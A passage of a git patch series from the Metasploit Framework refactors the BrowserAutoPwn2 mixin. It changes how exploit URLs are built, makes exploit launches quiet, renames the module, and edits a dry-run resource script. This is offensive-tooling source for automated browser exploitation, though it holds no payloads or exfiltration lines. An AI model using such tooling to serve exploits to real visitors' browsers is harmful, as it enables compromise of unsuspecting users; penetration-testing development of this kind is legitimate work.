datastore['SRVHOST'] else host = Rex::Socket.source_address From cf714fe4aabf3df441328ce320e618597ad00e5b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:19:00 -0500 Subject: [PATCH 143/150] Change port logic too --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 94ad8fe4d4..2c52def0c0 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -664,7 +664,7 @@ module Msf else host = Rex::Socket.source_address end - port = datastore['SRVPORT'] + port = datastore['URIPORT'] || datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" urls << url From 5e63b5f93ee46c01abfbddd56e2865ca00e5b05b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:37:45 -0500 Subject: [PATCH 144/150] Can't use cli --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 2c52def0c0..18eca7c0db 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -657,8 +657,6 @@ module Msf host = '' if datastore['URIHOST'] host = datastore['URIHOST'] - elsif cli - host = cli.peerhost elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' host = datastore['SRVHOST'] else From d64f4be6914986df63e0f399bcc58472d4f0ea09 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 14:45:10 -0500 Subject: [PATCH 145/150] Check if URIPORT is 0 --- lib/msf/core/exploit/browser_autopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 18eca7c0db..9e41438f23 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -662,7 +662,7 @@ module Msf else host = Rex::Socket.source_address end - port = datastore['URIPORT'] || datastore['SRVPORT'] + port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" urls << url From 1992a5648d228394ccae1d84f1baf5d1243a66e7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 15:09:23 -0500 Subject: [PATCH 146/150] Make up our damn mind --- lib/msf/core/exploit/browser_autopwnv2.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 9e41438f23..65336a55fd 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -563,6 +563,7 @@ module Msf proto = (datastore['SSL'] ? "https" : "http") srvhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] srvport = datastore['SRVPORT'] + port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT'] service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" print_status("Please use the following URL for the browser attack:") print_status("BrowserAutoPwn URL: #{service_uri}") @@ -654,15 +655,15 @@ module Msf exploit_list.each do |mod| proto = datastore['SSL'] ? 'https' : 'http' + # We haven't URIHOST and URIPORT into account here because + # the framework uses them only on `get_uri` host = '' - if datastore['URIHOST'] - host = datastore['URIHOST'] - elsif datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' + if datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0' host = datastore['SRVHOST'] else host = Rex::Socket.source_address end - port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT'] + port = datastore['SRVPORT'] resource = mod.datastore['URIPATH'] url = "#{proto}://#{host}:#{port}#{resource}" urls << url From 219d0032fac4c143455c807b9a076e4a7c87180c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 15:36:35 -0500 Subject: [PATCH 147/150] Do print_good to make this important stand up more --- lib/msf/core/exploit/browser_autopwnv2.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 65336a55fd..6937605257 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -565,8 +565,8 @@ module Msf srvport = datastore['SRVPORT'] port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT'] service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}" - print_status("Please use the following URL for the browser attack:") - print_status("BrowserAutoPwn URL: #{service_uri}") + print_good("Please use the following URL for the browser attack:") + print_good("BrowserAutoPwn URL: #{service_uri}") end From 709676e6cc877b82ebae3308a80282765ba7867a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 14 Jul 2015 17:00:44 -0500 Subject: [PATCH 148/150] Make exploits quiet --- lib/msf/core/exploit/browser_autopwnv2.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb index 6937605257..47a91d587c 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwnv2.rb @@ -458,6 +458,7 @@ module Msf m.exploit_simple( 'LocalInput' => nil, 'LocalOutput' => nil, + 'Quiet' => true, 'Target' => 0, 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true From 4f8f6401891820c33dac7ca65ee4cd18b6231ee7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 17:38:51 -0500 Subject: [PATCH 149/150] Rename autopwnv2 to just autopwn2 --- .../exploit/{browser_autopwnv2.rb => browser_autopwn2.rb} | 4 ++-- lib/msf/core/exploit/mixins.rb | 2 +- modules/auxiliary/server/browser_autopwn2.rb | 2 +- .../{browser_autopwnv2_spec.rb => browser_autopwn2_spec.rb} | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) rename lib/msf/core/exploit/{browser_autopwnv2.rb => browser_autopwn2.rb} (99%) rename spec/lib/msf/core/exploit/{browser_autopwnv2_spec.rb => browser_autopwn2_spec.rb} (99%) diff --git a/lib/msf/core/exploit/browser_autopwnv2.rb b/lib/msf/core/exploit/browser_autopwn2.rb similarity index 99% rename from lib/msf/core/exploit/browser_autopwnv2.rb rename to lib/msf/core/exploit/browser_autopwn2.rb index 47a91d587c..7559adb18e 100644 --- a/lib/msf/core/exploit/browser_autopwnv2.rb +++ b/lib/msf/core/exploit/browser_autopwn2.rb @@ -1,6 +1,6 @@ ### # -# The Msf::Exploit::Remote::BrowserAutopwnv2 mixin is a replacement for the current BrowserAutoPwn. +# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn. # It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based # exploits to perform a faster and smarter automated client-side attack. # @@ -9,7 +9,7 @@ require 'date' module Msf - module Exploit::Remote::BrowserAutopwnv2 + module Exploit::Remote::BrowserAutopwn2 include Msf::Exploit::Remote::BrowserExploitServer diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 80afde7037..a575d03a83 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -104,4 +104,4 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' -require 'msf/core/exploit/browser_autopwnv2' +require 'msf/core/exploit/browser_autopwn2' diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index e514547b7d..382e6007e9 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::BrowserAutopwnv2 + include Msf::Exploit::Remote::BrowserAutopwn2 def initialize(info={}) super(update_info(info, diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb similarity index 99% rename from spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb rename to spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index 0a85f94d56..97626b61d3 100644 --- a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -1,6 +1,6 @@ require 'msf/core' -describe Msf::Exploit::Remote::BrowserAutopwnv2 do +describe Msf::Exploit::Remote::BrowserAutopwn2 do From b127fdc4f5351357aed733fda98fd996b8ec0943 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 22:32:40 -0500 Subject: [PATCH 150/150] rickrolling is important --- scripts/resource/bap_dryrun_only.rc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index a8e6299d81..9689d60d65 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -8,9 +8,9 @@ run_single("set MaxSessionCount 0") # Instead of set Content, you can also do set Custom404 to redirect the client to an SE training website # For example (why don't you try this? :-) ) -# run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ") +run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ") -run_single("set HTMLContent \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") +# run_single("set HTMLContent \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") run_single("run")